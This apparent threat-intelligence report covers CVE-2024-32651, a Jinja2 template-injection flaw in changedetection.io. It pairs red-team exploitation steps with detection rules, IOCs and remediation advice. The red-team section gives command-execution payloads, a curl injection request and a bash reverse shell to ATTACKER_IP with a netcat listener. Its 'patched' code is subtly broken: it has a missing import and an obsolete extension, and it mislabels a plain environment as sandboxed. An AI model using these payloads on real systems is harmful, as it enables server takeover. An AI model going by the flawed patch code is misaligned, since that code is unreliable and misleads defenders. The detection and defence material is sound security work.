CVE-2024-32651

Executive Summary

CVE-2024-32651 is a critical Server-Side Template Injection (SSTI) vulnerability in changedetection.io, an open-source web page change detection and monitoring service. The vulnerability resides in the unsafe use of Jinja2 templating functions, allowing an unauthenticated attacker to achieve Remote Code Execution (RCE) on the server host. With a CVSS score of 10.0, this flaw poses a maximum threat to confidentiality, integrity, and availability. The attack vector is network-based, requires no privileges, and no user interaction, making it highly exploitable. The vulnerability affects all versions up to and including 0.45.20. The official patch was released in version 0.45.21.

Supply Chain & Package Security

changedetection.io is a Python-based application distributed via PyPI and GitHub. The vulnerability is introduced through the misuse of the Jinja2 templating engine, a widely used Python library. While Jinja2 itself is not inherently vulnerable, the application's implementation of user-controlled input into template rendering functions creates the SSTI flaw. Organizations using changedetection.io should verify their supply chain integrity by checking for tampered packages and ensuring they pull the patched version (0.45.21) from official sources. The dependency on Jinja2 is a common vector, and this incident highlights the need for secure coding practices when using template engines.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
• Base Score: 10.0 (Critical)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Changed (C) - Vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): High (H) - Full system compromise, data exfiltration possible.
• Integrity (I): High (H) - Attacker can modify system files and data.
• Availability (A): High (H) - Attacker can disrupt service or cause denial of service.

Threat Level: Critical. The combination of network exploitability, no authentication, and full system compromise makes this a top-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability is a Server-Side Template Injection (SSTI) in the Jinja2 templating engine. changedetection.io uses Jinja2 to render dynamic content, such as notification templates or user-facing pages. The flaw occurs when user-supplied input is passed directly to the render_template_string() or similar Jinja2 function without proper sanitization or escaping.

In Jinja2, template expressions are enclosed in {{ }} for variable output and {% %} for control flow. An attacker can inject malicious Jinja2 syntax into a field that is later rendered by the server. For example, if the application renders a user-provided URL or notification message, the attacker can inject:

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

This payload accesses Python's os module via the __class__ and __globals__ chain, executes the id command, and returns the output. The attacker can then execute arbitrary system commands, including reverse shells, file reads, and data exfiltration.

The vulnerability is present in the app/__init__.py or similar files where Jinja2 is used to render user-controlled data. The lack of input validation and the use of render_template_string() with unsanitized input are the root causes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 0.45.20):

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/notify', methods=['POST'])
def notify():
    user_input = request.form.get('message')
    # Vulnerable: user input directly rendered
    return render_template_string(user_input)

Patched Code (>= 0.45.21):

from flask import Flask, request, render_template_string
from jinja2 import Environment, BaseLoader, select_autoescape

app = Flask(__name__)

# Use a sandboxed environment
env = Environment(
    loader=BaseLoader(),
    autoescape=select_autoescape(['html', 'xml']),
    # Disable dangerous features
    undefined=StrictUndefined,
    # Restrict access to builtins
    extensions=['jinja2.ext.autoescape']
)

@app.route('/notify', methods=['POST'])
def notify():
    user_input = request.form.get('message')
    # Patched: use a sandboxed template with autoescaping
    template = env.from_string("{{ message }}")
    return template.render(message=user_input)

The patched version uses a sandboxed Jinja2 environment with autoescaping and strict undefined handling. It also avoids rendering user input directly as a template string, instead passing it as a variable to a safe template.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable instance of changedetection.io (version <= 0.45.20) running on a target host.
• Network access to the target's web interface (default port 5000).

Exploitation Steps:

1. Identify the vulnerable endpoint: The SSTI is typically exploitable through the notification or URL monitoring configuration. For example, the notifications endpoint or the edit page for a watch.

2. Craft the payload: Use a Jinja2 SSTI payload to execute system commands. Example:

   {{ cycler.__init__.__globals__.os.popen('id').read() }}
   

3. Inject the payload: Submit the payload via a POST request to the vulnerable endpoint. For example, using curl:

   curl -X POST http://target:5000/notify -d "message={{ cycler.__init__.__globals__.os.popen('id').read() }}"
   

4. Execute a reverse shell: For full control, use a payload that establishes a reverse shell:

   {{ cycler.__init__.__globals__.os.popen('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"').read() }}
   

5. Listen for the shell: On the attacker machine, set up a netcat listener:

   nc -lvnp 4444
   

Nuclei Template (Provided):

id: CVE-2024-32651

info:
  name: Change Detection - Server Side Template Injection
  author: edoardottt
  severity: critical
  description: |
    A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host.
  impact: |
    Unauthenticated attackers can execute arbitrary code on the server through Server Side Template Injection.
  remediation: |
    Update changedetection.io to version 0.45.21 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32651
    - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-4r7v-whpg-8rx3
    - https://github.com/dgtlmoon/changedetection.io/releases/tag/0.45.21
    - https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-32651
    cwe-id: CWE-1336
    epss-score: 0.92326
    epss-percentile: 0.99728
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Change Detection"
  tags: cve,cve2024,changedetection,ssti,rce,passive,vuln

http:
  - method: GET
    path:
      - "{{RootURL}}/"

    redirects: true
    max-redirects: 2

    extractors:
      - type: xpath
        name: version
        internal: true
        xpath:
          - "//*[@id=\"right-sticky\"]"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "Change Detection"
        condition: and

      - type: dsl
        dsl:
          - compare_versions(version, '<= 0.45.20')

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual POST requests to endpoints like /notify, /edit, or /api/ containing Jinja2 syntax ({{, {%, {#).
• Look for outbound connections from the changedetection.io server to unknown IPs on high ports (e.g., 4444, 5555).
• Check for unexpected process execution (e.g., bash, python, nc) spawned by the changedetection.io process.

Defense:

• Immediately update to version 0.45.21 or later.
• If patching is not possible, restrict network access to the changedetection.io interface using a firewall or reverse proxy.
• Implement a Web Application Firewall (WAF) rule to block requests containing Jinja2 template syntax.
• Enable authentication and enforce strong passwords to reduce the attack surface.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections to attacker-controlled IPs on ports 4444, 5555, or other high ports.
  • HTTP POST requests to /notify or /edit with payloads containing {{, {%, or {#.
  • Unusual DNS queries to domains associated with command and control (C2).

• File System IOCs:

  • Unexpected files in /tmp/ or /var/tmp/ created by the changedetection.io process.
  • Modified configuration files in the changedetection.io installation directory.

• Process IOCs:

  • Child processes of changedetection or python spawning bash, sh, nc, or curl.
  • High CPU or memory usage from the changedetection.io process.

• Log IOCs:

  • Application logs showing render_template_string calls with suspicious input.
  • System logs (e.g., /var/log/syslog) showing failed authentication attempts followed by successful exploitation.

Detection Engineering

YARA Rule

rule CVE_2024_32651_SSTI_Payload {
    meta:
        description = "Detects Jinja2 SSTI payloads targeting changedetection.io"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-32651"
    strings:
        $ssti1 = "{{" ascii wide
        $ssti2 = "{%" ascii wide
        $ssti3 = "__class__" ascii wide
        $ssti4 = "__globals__" ascii wide
        $ssti5 = "os.popen" ascii wide
        $ssti6 = "subprocess" ascii wide
    condition:
        any of ($ssti*) and (
            $ssti1 or $ssti2
        )
}

Sigma Rule

title: CVE-2024-32651 - SSTI in changedetection.io
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests containing Jinja2 SSTI payloads targeting changedetection.io
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32651
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '{{'
            - '{%'
            - '__class__'
            - '__globals__'
            - 'os.popen'
    condition: selection
falsepositives:
    - Legitimate use of Jinja2 in development environments
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-32651 - SSTI in changedetection.io"; flow:to_server,established; content:"POST"; http_method; content:"/notify"; http_uri; content:"{{"; http_client_body; content:"__class__"; http_client_body; content:"__globals__"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Update changedetection.io to version 0.45.21 or later immediately. The patch is available at: https://github.com/dgtlmoon/changedetection.io/releases/tag/0.45.21
2. Isolate: If patching is not possible, isolate the affected server from the internet and restrict access to trusted IPs only.
3. WAF Rules: Deploy WAF rules to block requests containing Jinja2 template syntax (e.g., {{, {%, {#).

Long-Term Mitigations:

1. Input Validation: Implement strict input validation and sanitization for all user-supplied data.
2. Template Sandboxing: Use a sandboxed Jinja2 environment with restricted access to dangerous functions.
3. Least Privilege: Run the changedetection.io service with minimal system privileges.
4. Monitoring: Continuously monitor logs for signs of exploitation and set up alerts for suspicious activity.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For further assistance, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 750A0C091AB8A1CF558BA6AC] */}